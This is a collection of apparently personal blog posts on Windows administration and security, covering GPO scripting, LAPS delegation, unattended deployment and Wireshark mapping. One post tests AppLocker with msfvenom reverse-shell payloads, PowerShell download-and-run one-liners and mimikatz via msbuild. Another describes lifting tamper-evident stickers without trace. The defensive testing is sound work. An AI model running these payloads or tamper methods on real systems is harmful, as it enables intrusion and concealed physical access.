Today is a quick explanation regarding OU delegation using PowerShell with usable examples and how-to located the GUID that identifies the object type being delegated. All the required scripts can be found on my Github (here). Delegated Test Account: For demonstration purposes, the following is executed directly on the Domain Controller and as a Domain Admin. Create a test user named 'SrvOps' and add it to the 'Server Operators', group. This effectively provides Administrator privileges on the DC's without access to AD. Create the following Global Groups, CompDele, UserDele and GroupDele and to the SrvOps user. Greate the following OU's, Computer, User and Group. Shift and Right-click 'Active Directory Users and Computer' and 'Run as a Different User', and enter the SrvOps credentials. Right-click on the Computer OU and you will notice that there's no options to New and select an object type. ADSI Edit and Object GUID: Close the AD snap-in. Back to Domain Admin and launch 'adsiedit.msc'. Select 'Schema' from the 'Select a well known Naming Context:' and OK. Scroll down and select 'CN=Computer' properties. On the 'Attribute Editor' tab scroll down and locate 'schemaIDGUID'. This is the Guid object identity used for delegating Computer objects. It's not possible to copy the value directly and double clicking provides Hex or Binary values which can be copied. The following converts the Hex to the required Guid value. $trim = ("86 7A 96 BF E6 0D D0 11 A2 85 00 AA 00 30 49 E2").replace(" ","") $oct = "$trim" $oct1 = $oct.substring(0,2) $oct2 = $oct.substring(2,2) $oct3 = $oct.substring(4,2) $oct4 = $oct.substring(6,2) $oct5 = $oct.substring(8,2) $oct6 = $oct.substring(10,2) $oct7 = $oct.substring(12,2) $oct8 = $oct.substring(14,2) $oct9 = $oct.substring(16,4) $oct10 = $oct.substring(20,12) $strOut = "$oct4" + "$oct3" + "$oct2" + "$oct1" + "-" + "$oct6" + "$oct5" + "-" + "$oct8" + "$oct7" + "-" + "$oct9" + "-" + "$oct10" write-host $strOut #result = BF967A86-0DE6-11D0-A285-00AA003049E2 The Script: Download the scripts from Github (here) and open with Powershell_ise. Update the DN, the OU path to the Computer OU created earlier. Execute the script and repeat for Users and Groups scripts. Relaunch 'Active Directory Users and Computers' as a different user and enter the SrvOps account credentials. Right-click on each of the OU's and 'New'. You will notice SrvOps can now create objects relative to the name of the OU. Final Considerations: Retrieving the 'schemaIDGUID' from ADSI Edit allows the delegation of pretty much any object type within AD and for the most part a couple of minor tweaks to the scripts provided and your set. Enjoy and if you find this useful please provide some feedback via the homepage's comment box.

How to merge GPO's with PowerShell, this is a little misleading, PowerShell is used to add the logic to LGPO.exe there's worse to follow. The whole process can't be fully automated and requires manual intervention. Yep, that dreaded word...."Manual". However, the following method does work at merging disparate GPO's for Domain deployment. The Issue: As someone who applies Microsoft's Security GPO baselines in a Domain, it's a little messy importing each of the separate GPO's for Windows, Office and Edge etc. Resulting in multiple Computer and User policies being listed in GPO Management, leading to administrator confusion and even a possible performance hit whilst the client applies those multiple GPO's. What is required is a single Computer or User GPO with all the combined settings. You will require: A non Domain joined Windows client or server for merging of the policies, preferably the same as the GPO's being applied. Download LGPO and PolicyAnalyzer and the latest recommended SCM GPO's from (here). A Domain with Domain Admin rights to import the merged policy. To manage Office and Edge GPO's set up a Central Store (here) and install the latest admx files on both the Domain Controller and the standalone. If this step is missed the settings will appear as extra registry settings in GPO Management. The script to merge policies (here). The Prep:: I'm going all in for the demo and merging Windows 11, Office 365 and Edge policies for both User and Computer. This is not recommended as User and Computer policies should be separated. If you do follow this example link the merged GPO on a Computer OU and then apply the Loopback settings, the user policies will then apply at user logon. Enough waffle... create a folder on the standalone client\server, extract and copy all the GPO's to the folder. Copy both the script and LGPO.exe to the root of that folder. The execution: Execute the script with admin rights either via PowerShell or ISE. The script loops through each of the policy directories LGPO to merge both the User and Computer settings, applying them locally. LGPO then exports the local settings to a GPOBackup directory. Ignore the warnings, it's LGPO throwing its teddy out of the pram. A quick validation of the local policies by filtering 'Configured' policies. The Domain Policy: Copy the merged policy from the MergedGPO directory to the Domain Controller or Management client with 'Group Policy Management' feature installed. Create a new Domain Group Policy, don't link to an OU. Right-click on the new GPO and 'Import Settings'. Warning this will overwrite any existing settings, don't mess this step up. Follow the wizard and select the folder where the merged policies reside. Select the GPO to import. Review the settings and link to the correct OU. Warning, linking the Microsoft recommended policies to any Client, Server or DC will likely result in an outage or services becoming unresponsive, so test first and make any necessary changes. It looks pretty easy and it is.... however.... and this is where a little GPO bravery and the manual intervention kicks in. The Manual Steps: After reviewing the setting you'll notice, LGPO has imported all the Security settings including password and account policies. These are set at the Root of the domain and can't be overridden by placing them at a lower level. From Group Policy Management, select the imported GPO and make a note of the 'Unique ID:' Browse to 'C:\Windows\Sysvol\Domain\Policies' Select the matching 'Unique ID'. Navigate to the 'SecEdit' directory. GptTmpl - Security Settings GptTmpl.inf contains most of the security settings, no Firewall or Applocker policies though. Settings within GptTmpl.inf are the setting that most likely requires removing. There are 2 possible solutions depending on the scenario. If for example only User settings are required.... delete GptTmpl.inf If Password or Account policies aren't required open GptTmpl.inf from an elevated Notepad and remove the excess sections. Registry.pol - Administrative Templates Amending User or Machine Registry.pol files from within isn't so easy and recommend using Group Policy Management as the editor. It is possible to delete the Registry.pol files and this is what I've done. Audit.csv - Advanced Audit Settings Lastly, Advanced Audit settings via the audit.csv file, delete this file as well. The Result: The end result is that all Computer settings are removed, leaving only the User settings. The issue with Client Side Extensions: In some instances during the GPO Policy import, no settings are displayed from within GPO Management. This is due to the GPCMachineExtensionName attribute not writing the correct values at import. In this case, update the GPO values, if Security Options or User Rights Assignments aren't displaying, make changes, apply and revert the change. GPO Management will then successfully display the correct values. If the GPCMachineExtensionName attribute is known the following command can be used. Set-ADObject -Identity $getGPOPath -Replace @{gPCMachineExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"}

If you have ever tried 'PowerShell'ing' Group Policies, you know that support from Microsoft is sub-optimal, meaning that there is no support, of course, to fill this gap there are paid 3rd party offerings. The Task at Hand: A new 'Member Server' OU and various sub-OU's are needed, as well as their corresponding Group Policies, AD Groups and Restricted Groups. This feels like the millionth time I've manually accomplished this task and it's fairly repetitive and time consuming, alternatively, I can crack open PowerShell. The mantra is 'Why point and click when there's PowerShell' so let's get creative. Components of a Domain GPO: A Group Policy Object (GPO) is made up of various file types, strangely enough, the same as local GPO's configured via GPEdit.msc. Having scripted SecEdit, updating both User Rights AssignmenPats (URA) and Services previously the 'ask' should be straightforward. Basic file layout of a Domain GPO: C:\Windows\SYSVOL\domain\Policies\{GUID}\ Machine\Registry.pol User\Registry.pol Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf Machine\Microsoft\Windows NT\Audit\Audit.csv GPO security settings are written to GptTmpl.inf, an example of a GptTmpl.inf with Restricted Groups and User Rights Assignments from an SCCM installation including a SQL Member Server. The above looks a little confusing and here's a quick breakdown to help: *S-1-5-21-4000739697-4006183653-2191022337-1143 The SID of a Service Account [Group Membership] *S-1-5-32-544__Memberof = *S-1-5-32-544__Members = *S-1-5-21-4000739697-4006183653-2191022337-1143 *S-1-5-32-544 = Builtin\Administrators Group *S-1-5-32-573__Memberof = *S-1-5-32-573__Members = *S-1-5-21-4000739697-4006183653-2191022337-1171 *S-1-5-32-573 = Builtin\Event Log Readers *S-1-5-32-559__Memberof = *S-1-5-32-559__Members = *S-1-5-21-4000739697-4006183653-2191022337-1171 *S-1-5-32-559 = Builtin\Performance Log Users [Privilege Rights] SeServiceLogonRight = *S-1-5-21-4000739697-4006183653-2191022337-1170 SeServiceLogonRight = Log on as a service SeInteractiveLogonRight = *S-1-5-21-4000739697-4006183653-2191022337-1169 SeInteractiveLogonRight = Allow log on locally SeBatchLogonRight = *S-1-5-21-4000739697-4006183653-2191022337-1187 SeBatchLogonRight = Log on as Batch Overview of script actions: Execute the script directly on the Domain Controller with the PDC role. The script will create a 'Resources' OU off the root of the Domain, then sub-ou's 'Member Servers' and 'Restricted Groups'. For each application service eg Exchange, SharePoint etc, an additional OU is then created with corresponding AD groups for both Administrator and Remote Desktop User Groups. Finally, GPOs are created for each OU and the AD Groups SID are assigned to both the Restricted Groups and Remote Interactive User Rights Assignment. The script: https://github.com/Tenaka/GPOs Script Breakdown: The following are extracts from the script that is accessible from Github. Resolve the Domain Naming Context. $rootDSE = (Get-ADRootDSE).rootDomainNamingContext Resolve the path to Sysvol, just in case it was moved during Domain Controler installation. $smbSysvol = ((Get-SmbShare -name "sysvol").path).replace("SYSVOL\sysvol","sysvol") Set 'Resource' OU as a root for all subsequent OU's for member servers etc. $resRoot = "Resources" Stitch or join the Root DN and variables to create OU Distinguished Names. $resourceOU = "OU=$($resRoot),$($rootDSE)" $memSrvOU = "OU=$($memSrvRoot),OU=$($resRoot),$($rootDSE)" $ResGroupOU = "OU=$($ResGroupRoot),OU=$($resRoot),$($rootDSE)" Create an OU called 'Resources' as a top-level OU. New-ADOrganizationalUnit -Name $resRoot #-ProtectedFromAccidentalDeletion $false Create a variable based on the OU name for creating an AD group name. $rgRtAdminGp = "RG_$($MemSrvRoot)_Admin" Create a new Domain Global group based on the OU name for Admin and Remote user groups. Groups are created in the 'Restricted Groups' OU. New-ADGroup -Name $rgRtAdminGp –groupscope Global -Path $ResGroupOU -Description $rgRtAdminDescrip Get the SID of the new Group. $getRtRGAdminSid = $getRtRGAdmin.SID.Value Declare the variable for creating an OU. $GPOName = "GPO_$($MemSrvRoot)_RestrictedGroup" Create a new OU based on the variable and link to OU. New-GPO -Name $GPOName | New-GPLink -Target $getOUMS.DistinguishedName Set delegation permission on the OU so the AD group can edit their own policy. Set-GPPermission -Guid $getGpoId -PermissionLevel GpoEditDeleteModifySecurity -TargetType Group -TargetName $rgAdminGp Declared the path to the GPO directory. $sysvol = "$($smbSysvol)\domain\Policies\{$($getGpoId)}\Machine\Microsoft\Windows NT\SecEdit" Create a directory and GptTmpl.inf file. New-Item -Path $sysvol -ItemType Directory -Force New-Item -Path $sysvol -Name GptTmpl.inf -ItemType File -Force Declare variables based on the Group SIDs for Admin and Remote Groups. $addConAdmin = "*S-1-5-32-544__Members = *$($getRtRGAdminSid)" $addConRDP = "*S-1-5-32-555__Members = *$($getRtRGRDPSid)" $addConURARemote = "SeRemoteInteractiveLogonRight = *$($getRtRGAdminSid),*$($getRtRGRDPSid)" Update GptTmpl.inf. Add-Content -Path $gptFile -Value '[Group Membership]' Add-Content -Path $gptFile -Value '*S-1-5-32-544__Memberof =' Add-Content -Path $gptFile -Value $addConAdmin Add-Content -Path $gptFile -Value $addConURARemote Write the GPCMachineExtensionName attribute with the Client-Side Extension GUID of the areas of the GPO setting for the GPO. If not the settings won't display in the GPO Management tool and the target server won't be able to read the GPO. Set-ADObject -Identity $getGPOPath -Replace @{gPCMachineExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"} The Client-Side Extensions GUID can be extracted from Polices, there's no need to try and discover those GUIDS. Set the required policies and copy the GUIDs. The initial scenario of creating Restricted Groups GPO's is complete, with a few alterations, Administrative Template settings could be set by copying Registry.pol into the GPO. A better use would be setting up URAs for service accounts eg SQL and the Logon as a Service right dynamically as part of an automatic installation of Microsoft SQL Server. Enjoy and hope it proves useful and do give it a go prior to paying for a 3rd party tool. The script: https://github.com/Tenaka/GPOs Security Identities: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers Mapping User Rights Assignments: https://www.tenaka.net/post/translate-user-rights-assignments-from-guids-to-group-names

Ever wondered what all those Windows Guids translated to in User Rights Assigments? Follow the link and run the script with Admin permissions. https://github.com/Tenaka/UserRightsAssignmens The script will export the Windows security settings and extract the Privilege Rights. The privilege rights will be translated into their Human readable format.

This is a supplement to the Applocker vs Malware article that you should read first @ https://www.tenaka.net/applocker-vs-malware I've comprehensively covered Applocker and its 'features' on this site from click-bait prevention with an out-of-the-box configuration to hardening Applocker to protect the protector from being circumvented. The latter's policy is a combination of Publisher, hash, file and folder approvals and denials. Before I start, the following is not recommended, this is for exploratory testing and proof of concept of Applocker's behaviour. Does Applokcer require all those Publisher approvals? Can the system be protected with only file and folder approvals and denies? #Previous - Applocker vs Malware The client is Windows 11 Enterprise x64 with no AV protection and all tests will be executed as the user, unless specified. #The Policy - Approvals Applocker will be configured with the following approval policy: EXEs, MSIs, Scripts and DLLs are configured to approve any file in %ProgramFile% and %WinDir%, similar to the default rules. #The Policy - Denies Protection relies solely on preventing any bypass or escalation of code, denying any directory the user has 'Write' permission for EXEs, MSIs, Scripts and DLLs. The following directory list is dynamic and changes with different installed languages. Download and run my Security Validation script (here) when non-US languages are installed. C:\Windows\System32\LogFiles\WMI C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\Tasks C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\SysWOW64\Tasks C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\tracing C:\Windows\PLA\Reports C:\Windows\PLA\Reports\en-US C:\Windows\PLA\Rules C:\Windows\PLA\Rules\en-US C:\Windows\PLA\Templates C:\Windows\Registration\CRMLog C:\Windows\servicing\Packages C:\Windows\servicing\Sessions C:\Windows\System32\Com\dmp C:\Windows\System32\spool\drivers\color C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\Tasks\Microsoft\Windows\PLA C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System C:\Windows\SysWOW64\Com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System C:\Windows\Tasks C:\Windows\Temp C:\Users C:\ProgramData To prevent Living off the Land by Microsofts signed programs I'm following Microsofts recommended deny list (here) as a baseline. I've added a few more to my list as part of an automated Applocker script to protect the system from various attacks (here). The final config should look something like this. #The Rematch Simple, generate reverse shells with MSFVenom and execute whilst trying to bypass Applocker. #EXE Generate an exe with the following command. Password1234msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe Execution is prevented by denying C:\Users\* #HTA Generate a HTML Application Payload (HTA) with the following: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta Execute the following command after downloading the .hta file to the local system. mshta.exe C:\users\user\download\rev1.0.hta Execution is prevented by denying mshta.exe, a signed Microsoft program. #Word Macro The following MSFConsole command generates a reverse shell for Microsoft Word. ​ use exploit/multi/fileformat/office_word_macro set TARGET 0 set lhost 10.0.0.1 set lport 8888 The Word Macro unpacks to an .exe, it's prevented from executing by denying execution within C:\Users\ #Powershell Generate a reverse shell PS1 script with the following command. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1 Execution is prevented by denying C:\Users\* #Powershell Web Local PowerShell scripts are blocked, what of remote calls that load into memory!! ​ powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks” ​ powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();" Constrained Language mode is still protecting the system. #DLL The following command creates a DLL reverse shell. ​ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.1.dll ​ Download and execute the following commands from the Windows client. ​ copy rev1.1.dll C:\Windows\Temp rundll32.exe C:\Windows\Temp\rev1.1.dll,0 Execution is prevented by denying directories, in this case, C:\Windows\Temp, where the users can 'Write' and would have been an authorised path. #Reverse Shell and MimiKatz as XML The following command generates an XML reverse shell. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 Execute the following commands. msbuild.exe C:\users\admin\downloads\mimikatz.xml msbuild.exe C:\users\admin\downloads\rev1.5.xml Execution is prevented by denying msbuild.exe, a signed Microsoft program. #Standing Eight Count Keeping with the boxing analogy for Applocker verses, I hope 'Standing Eight Count' is appropriate. A correctly implemented Applocker policy as described above does prevent various types of malware from execution under the user context. Execution is constrained to authorised named directories, 'Program Files' and 'Windows'. Directories that allow the user to 'Write' deny any type of execution. Is this approach recommended? No, the chances of maintaining the perfect deny policy is slim in the real real-world. Any exception to the deny ruleset leaves the system open to bypassing Applocker without any Publisher rules to fall back on. Finally, I did this to better understand Applocker's behaviour, not as a serious method to implement. It does validate the benefits of configuring a deny policy.

Windows ADK PE for Windows 11 22H2 fails to install completely generating the following errors. #Error 1 Clicking on the Windows PE tab crashes MMC generating the following error: Could not find a part of the path 'C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\x86\WinPE_OCs'. Google suggests the ADK PE isn't installed..... #Error 2 It's not possible to update the boot images. Unable to open the specified WIM file. ---> System.Exception: Unable to open the specified WIM file. ---> System.ComponentModel.Win32Exception: The system cannot find the path specified. #Something is definitely wrong and missing Both errors suggest missing files, with error 1 providing a path: C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\ Comparing the latest ADK PE for Windows 11 22H2 to an older installation something is very wrong. The x86 and Arm directories are missing..... ADK PE for Windows 11 22H2 ADK PE for Windows 10 1809 #Is this a one-off... The initial problem presented itself whilst upgrading MDT and ADK installed on a 2012 R2 Server. A new instance of 2022 Server and Windows 11 were equally affected. Each instance of ADK PE was from a fresh download. Microsoft, I've got the contact details of some really good Test Managers. #The Fix Not wishing to faff and spend too much time comparing downloads against different versions, it was taking me away from my planned day of Hack the Box. There's the recommended fix, downloading an earlier version on ADK PE, 1809 for Windows 10 should do the trick. Windows 11 is purely cosmetic under the hood it identifies as Windows 10. Alternatively, copy the missing contents from a working installation, not recommended and it's a bit quick and dirty. It's functional with some minor scripting errors with the MDT deployment wizard.

Objective The old adage, any physical access and you don't own the system, the person at the keyboard does even if they're not authorised...... Do physical protections, in this case, tamperproof or security stickers provide any tangible defence? The objective is to remove the tamperproof sticker, and fiddle, reapplying the sticker without leaving any evidence of my shenanigans. Tamperproof Stickers For the stickers, the obvious choice, Amazon and 3 differing types of stickers were chosen: Rectangular, dog bone and circle\spot. The stickers work using 2 different types of glue, one being more adhesive than the other. When the sticker is removed, the word 'VOID ' adheres to the surface leaving evidence of tampering. More annoyingly the stickers tend to be brittle and cant be removed intact. Tools of the trade Physical implements include syringes, tweezers, scalpel, razor blade and a hairdryer. Solvents to loosen the glues include Isopropyl, WD40 and Alcohol Hand Gel. Items of Value 3 different surfaces have been selected. A Micorserver representing a standard plastic computer case. A Netgear 8 Port switch, with a painted metal case and lastly an Asus Zenbook with brushed Aluminium. The Control A functional test of each sticker was carried out to ensure expected behaviour. Standard PC - Isopropyl Using a sharp needle inject Isopropyl around the edge of the sticker. With the scalpel very carefully lift up a corner whilst injecting Isopropyl. Using sharp instruments during testing caused damage. Swap to blunt needle and tweezers. Very slowly peel back the sticker whilst injecting Isopropyl. That was easier than expected and completed within a few minutes. The sticker was removed with no visible damage. Once the Isopropyl evaporated the sticker was reusable. Standard PC - Hair Dryer Heat the sticker and use the scalpel to lift the corner and then switch to the tweezers. Apply heat continuously or the lifting edge cools, damaging the sticker. The sticker was reusable instantly. Painted Metal - Isopropyl The glue adhered to the paint far more effectively and despite a couple of attempts, I was unable to remove the sticker without damage. Evidence of my failure...... Painted Metal - Hair Dryer Apply constant heat to the sticker allowing its removal without damage. Redemption and back in business.... The sticker was reusable instantly. Brushed Aluminium - Isopropyl Chalk this down to another failure, using Isopropyl was a non-starter. The smooth surface prevented the Isopropyl from getting under the sticker, damage was inevitable. Brushed Aluminium - Hair Dryer Constantly applied heat appears to work better on smoother surfaces. The sticker lifted reasonably easily and quickly without damage. The sticker was reusable instantly. WD40 and Hand Sanitizer...... In theory, the hand sanitizer should've worked, its thickness prevented it from penetrating the glue. A non-starter. WD40 worked almost effectively as the Isopropyl, however, the sticker was not reusable due to the oil content. Findings Size or more importantly circumference to surface area matters, regardless of what you're told...... The spot and dog bone stickers with relatively small surface areas to circumference lifted far easier than the rectangle. The surface of the device being protected influences the performance of the glue. Isopropyl is unable to penetrate smoother or painted surfaces as easily. When in doubt use a hair dryer, heat reduces the adhesion of the glue allowing the sticker to lift and be reapplied. The Old Adage The old adage still applies, if you have physical access you are the owner of the device. Limitations of tests Source of stickers, they're nothing special being from Amazon. At the time of writing the 2 companies approached for their heat and Isopropyl resistant security stickers have yet to reply.......Hoping they come through, I'd like to know if they do offer any extra resistance. Any company feeling brave contact me via the Home contacts form. If the stickers supplied resist my attempts I'll mention the company name as a supplier of superior stickers. As always, thanks for your time, if you enjoy the content please share this site.

The best methods for deploying Windows are SCCM and then MDT, hands down. However what if you don't have either deployment service..... no seriously...... Despite the step-by-step guides and the script to deploy MDT in 45 minutes (here) some still chose to manually deploy or clone Windows, maybe they haven't progressed past RIS either..... Question is, can Windows 10 and a host of applications including Office be automated without fancy tooling? The following isn't pretty, there are issues that MDT and SCCM just make disappear, I'm not happy with issues...period. It's a faff and takes way more time prep, is less functional and is only a benefit if there are more than a couple of Windows clients to deploy. Should it ever be done, there may be some limited scenarios, my suggestion, use the correct deployment services designed for deploying Windows. #Pre-requisites 16Gb USB3 as a minimum, preferably 32Gb Windows 10 media MS Office 2019 Chrome, MS Edge, Visual C++, Notepad++ Windows ADK #Windows Media Download Windows 10 ISO and double click to mount as D:\ Create a directory at C:\ named "Version of Windows" eg C:\Windows21H2\. Don't copy the contents of D:\ directly to the USB due to install.wim being larger than the permitted supported file size for Fat32, greater than 4Gb. Copy the files from D:\ (Windows ISO) to C:\Windows21H2\ Split install.wim into 2Gbs files to support Fat32. Dism /Split-Image /ImageFile:C:\Window21H2\sources\install.wim /SWMFile:C:\Window21H2\sources\install.swm /FileSize:2000 Delete C:\Window21H2\sources\install.wim. Insert USB pen and format as Fat32, in this case, it will be assigned as E:\ Copy the entire contents from C:\Windows21H2\ to E:\. #Applications Create directory E:\Software, this is the root for all downloaded software to be saved to. Create the following sub-directories under E:\Software, and download the software to the relevant sub-directory. 7Zip & cmd.exe /c 7z2107-x64.exe /S Chrome & cmd.exe /c msiexec.exe /i GoogleChromeStandaloneEnterprise64.msi /norestart /quiet Drivers & cmd /c pnputil.exe /add-driver Path/*.inf /subdirs /install MS-VS-CPlus & cmd.exe /c vcredist_x86_2013.exe /S MS-Win10-CU & cmd /c wusa.exe windows10.0-kb5011487-x64.msu /quiet /norestart MS-Win10-SSU & cmd /c wusa.exe ssu-19041.1161-x64.msu /quiet MS-Edge & cmd.exe /c msiexec.exe /i MicrosoftEdgeEnterpriseX64.msi /norestart /quiet MS-Office2019 & cmd.exe /c MS-Office2019\Office\Setup64.exe NotepadPlus & cmd.exe /c npp.8.3.3.Installer.x64.exe /S TortoiseSVN & cmd.exe /c msiexec.exe /i TortoiseSVN-1.14.2.29370-x64-svn-1.14.1.msi /qn /norestart WinSCP & cmd.exe /c WinSCP-5.19.6-Setup.exe /VERYSILENT /NORESTART /ALLUSERS I've provided the unattended commands with an extension, its important the correct file type is downloaded for the script to work correctly. Place any driver files in the 'Drivers' directory unpacked as *.inf files. #AutoUnatteneded Download ADK for Windows (here). Install only the 'Deployment Tools'. From the Start Menu open 'Windows System Image Manager' and create a 'New Answer File' and save it to the root of the E:\ (USB), name the file 'AutoUnattend.xml'. I cheated at this point, didn't fancy creating the AutoUnattend.xml from scratch, so I "borrowed" a pre-configured unattend.xml from MDT. To save you the pain download the 'AutoUnattend.xml' from Github (here). Save to the Root of E:\ (USB). Within the autounattend.xml the following line is referenced to execute 'InstallScript.ps1' at first logon. C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -file D:\software\InstallScript.ps1 Not that the PartitionID is '3' and the InstallFrom is updated from 'install.wim' to 'install.swm'. OnError 0 3 install.swm To select a different edition, the default is Education to run the following command with Admin rights. dism /Get-WimInfo /WimFile:"d:\sources\install.wim" Index : 1 Name : Windows 10 Education Description : Windows 10 Education Index : 2 Name : Windows 10 Education N Description : Windows 10 Education N Index : 3 Name : Windows 10 Enterprise Description : Windows 10 Enterprise Index : 4 Name : Windows 10 Enterprise N Description : Windows 10 Enterprise N Index : 5 Name : Windows 10 Pro Description : Windows 10 Pro Edit the AutoUnattend.xml and update the MetaData value under OSImage to reflect the desired index value. #The Script Download 'InstallScript.ps1' from (here) and save it to E:\Software. #A Brief Script Overview The first action is to copy the Software directory to C:\ so it can be referenced between reboots. The script adds Registry settings to Autologon as 'FauxAdmin' with a password of 'Password1234'. I strongly suggest changing the hardcoded password to something more secure. Warning: During the installation of Windows it prompts for a new account to ensure it reflects the hardcoded name and password in the InstallScript.ps1 'FauxAdmin', 'Password1234'. A Scheduled Task is added that will execute at logon with 'FauxAdmin'. The default hostname is Desktop-####, you'll be asked to enter a new hostname. Pre-Create a Computer object in AD, with the planned hostname of the client being deployed. Domain credentials will be required with delegated permissions to add computer objects to the domain. Update the InstallScript.ps1 with the correct FQDN and OU path $DomainN = "trg.loc" $ouPath = "OU=wks,OU=org,DC=trg,DC=loc" Windows 10 CU and Apps will install with various reboots. A bit of a tidy to remove the AutoLogon and Scheduled Task and then a final reboot. To prevent an attempted re-installation or repeat an action a 'check.txt' file is updated at the end of each step. If validated $true then the step will be skipped. #Deployment Boot PC and enter Bios\UEFI. Set UEFI to boot or initial boot to USB, F10 to save and exit. Insert USB and boot. Setup will start and prompt for disk partitioning, delete the volumes and create new default partitions. OK, Cortana. Create an account of 'fauxadmin' + 'Password1234' - these account details are hardcoded in the script. At initial logon, the PowerShell will launch. The process is completed when the client has been added to the domain and rebooted. Warning. Now reset the FauxAdmin account's password, don't forget it's hardcoded in the script and could allow an attacker to gain access if the password isn't updated. #Notes: The unattended disk partitioning proved to be unreliable and required manual intervention some of the time. This step is now manual. It is assumed that the USB during deployment will map to D:\ this is hardcoded for the Scheduled Task. Hiding Cortana resulted in removing the prompt for a new admin account, it's considered a security benefit to create a new admin account and disable Administrator with SID 500.

On a previous blog (here), LAPS (Local Administrator Password Solution) was installed. LAPS manages and updates the local Administrator passwords on clients and member servers, controlled via GPO. Only Domain Admins have default permission to view the local administrator password for clients and member servers. Access to view the passwords by non-Domain Admins is via delegation, here lies the problem. Access to the local administrator passwords may be delegated unintentionally. This could lead to a serious security breach, leaking all local admin accounts passwords for all computer objects to those that shouldn't have access. This article will demonstrate a typical delegation for adding a computer object to an OU and how to tweak the delegation to prevent access to the ms-Mcs-AdmPwd attribute. #Prep Work There is some prep-work, LAPS is required to be installed and configured, follow the above link. At least 1 non-domain joined client, preferably 2 eg Windows 10 or 11 Enterprise. A test account, mine's named TestAdmin, with no privileges or delegations and an OU named 'Workstation Test'. Ideally, I'll be using AD Groups and not adding TestAdmin directly to the OU, it's easy for demonstration purposes. #Delgation of Account Open Active Directory Users and Computers or type dsa.msc in the run command. With a Domain Admin account right-click on 'Workstation Test' OU, Properties, Security Tab and then Advanced. Click Add and select the TestAdmin as the principal. Select, Applies to: This Object and all Descendant Objects In the Permission window below select: Create Computer Objects Delete Computer Objects Apply the change. This is a 2 step process, repeat this time selecting. Applies to: Descendant Computer Objects Select Full Control in the Permissions window. #Test Delegation Log on to a domain workstation with RSAT installed and open Active Directory Users and Computers. Test by pre-creating a Computer object, right-click on the OU and select New > Computer, and type the hostname of the client to be added. Log on to a non-domain joined Windows client as the administrator and add to the domain using the TestAdmin credentials, reboot. Then wait for the LAPS policy to apply.......I've set a policy to update daily. #View the LAPS Password As the TestAdmin, from within AD Users and Computers go to View and select Advanced. Right-click properties on the client, select the Attribute tab Scroll down and locate 'ms-Mcs-AdmPwd', that the Administrator password for that client. #The Fix.... To prevent TestAdmin from reading the ms-Mcs-AdmPwd attribute value, a slight amendment to the delegation is required. As the Domain Admin right-click on 'Workstation Test' OU, Properties, Security Tab and then Advanced. Select the TestAdmin entry, it should say 'Full Control'. Remove 'All Extended Rights', 'Change Password' and 'Reset Password' and apply the change. As TestAdmin open AD Users and open the Computer attributes. ms-Mcs-AdmPwd is no longer visible. #Did I Just Break Something...... Test the change by adding a computer object to the OU and adding a client to the domain. Introducing computers to the domain is functional... No harm no foul. #Final Thoughts Removing the Extended Rights and Password permissions prevents the delegated account from reading the local administrator password from ms-Mcs-AdmPwd AD attribute without causing any noticeable problems. Watch for any future delegations ensuring the permissions aren't restored by accident. Enjoy and hope this was insightful.

Ever wondered or needed to know where all those network connections originate from or terminate in an IP packet trace without querying individual IPs??? Wireshark can provide a map either from a Wireshark packet capture or an import from another source eg Zyxel Firewall, producing the lovely-looking map below. This is the standard log output from a Zyxel, nothing exciting, honest. Ignore 192.168.0.247 attempting to establish a UDP port 500 Isakmp to somewhere not local to query time. Enable a packet capture from the Diagnostic section and capture, add at least the external facing port, wan1. Once the capture has run for a while, stop and then export the files to the local computer where Wireshark is installed. Sign up to MaxMind.com, it's free to download the GeoLite2 Geo Data. https://dev.maxmind.com/geoip/geolite2-free-geolocation-data?lang=en At the bottom of the 'Products' list select 'GeoLite2 Free Geolocation Data' or click the link below. https://www.maxmind.com/en/accounts/699472/geoip/downloads Download the 3 zip files, GeoLite2 ASN, GeoLite2 City and GeoLite2 Country. Unpack and more to a common directory. Open Wireshark, File, Open and select the Zyxel packet capture to import. To import the Geo-Location data, select 'Edit' then 'Preferences'. Select 'Name Resolution' and scroll to the bottom of the page. Select 'Edit' for MaxMind Database Directories. Set the location for the unpacked files. To view the map, select 'Statistics' then 'Endpoints'. Select IPv4 or a tab with a number. At the bottom of the page, select 'Map' and then 'Open in Browser'. That's it.... done

